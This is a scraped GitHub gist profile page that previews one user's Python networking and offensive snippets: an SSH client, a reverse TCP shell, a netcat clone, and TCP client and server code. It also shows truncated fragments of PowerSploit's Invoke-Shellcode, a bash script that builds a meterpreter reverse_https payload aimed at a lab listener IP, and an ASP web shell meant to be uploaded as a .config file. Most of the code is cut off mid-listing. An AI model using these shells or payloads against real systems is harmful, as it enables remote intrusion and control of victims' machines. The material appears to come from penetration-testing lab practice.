Skip to content

Instantly share code, notes, and snippets.

View tbhaxor's full-sized avatar
👨‍🚀
Exploring nature beyond Kármán line

Gurkirat Singh tbhaxor

👨‍🚀
Exploring nature beyond Kármán line
View GitHub Profile
@tbhaxor
tbhaxor / ssh_client.py
Created December 1, 2019 07:50
Simple SSH Client by Paramiko
import threading
import subprocess
from paramiko import SSHClient, AutoAddPolicy
from argparse import ArgumentParser, RawDescriptionHelpFormatter
# config the arguments
parser = ArgumentParser(description="SSH Client",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("--host",
@tbhaxor
tbhaxor / reverse_shell_tcp.py
Created November 30, 2019 13:46
Reverse TCP Shell in python
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from socket import socket, AF_INET, SOCK_STREAM
from subprocess import PIPE, Popen
# configuring arguments
parser = ArgumentParser(description="Portable NCAT",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("-l",
"--listen",
@tbhaxor
tbhaxor / simple_ncat.py
Last active November 30, 2019 10:24
Simple NCAT Implementation
from argparse import ArgumentParser, RawDescriptionHelpFormatter
from socket import socket, AF_INET, SOCK_STREAM
# configuring arguments
parser = ArgumentParser(description="Portable NCAT",
formatter_class=RawDescriptionHelpFormatter)
parser.add_argument("-l",
"--listen",
action="store_true",
@tbhaxor
tbhaxor / tcp_client.py
Created November 30, 2019 08:26
Simple TCP Client
from socket import socket, AF_INET, SOCK_STREAM
from sys import argv
argv.pop(0)
# instancing the client
client = socket(AF_INET, SOCK_STREAM)
# connecting to the server
try:
@tbhaxor
tbhaxor / tcp_server.py
Created November 30, 2019 07:58
simple tcp server
from socket import socket, SOCK_STREAM, AF_INET
from sys import argv
argv.pop(0)
# instancing the server
server = socket(AF_INET, SOCK_STREAM)
# binding it to network interface
try:
function Invoke-Shellcode
{
[CmdletBinding( DefaultParameterSetName = RunLocal, SupportsShouldProcess = $True , ConfirmImpact = High)] Param (
[ValidateNotNullOrEmpty()]
[UInt16]
$ProcessID,
[Parameter( ParameterSetName = RunLocal )]
[ValidateNotNullOrEmpty()]
#!/bin/bash
# meterpreter ip & port
lhost=10.10.14.70
lport=443
echo " * Writing Payload"
cat /usr/share/powersploit/CodeExecution/Invoke-Shellcode.ps1 > payload
echo “Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost $lhost -Lport $lport -Force” >> payload
<%@ Language = “JScript” %>
<%
/*
We will upload this asp shell code as test.asp.config
*/
var version =0.2 (beta) [20070929]”;
var homepagelink = “http://aspshell.sourceforge.net";
var q = Request(“q”)();
var cd = Request(“cd”)();
@tbhaxor
tbhaxor / Asynchronous JavaScript Requests.ipynb
Created November 1, 2019 20:52
Learn about Asynchronous Request in Javascript
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.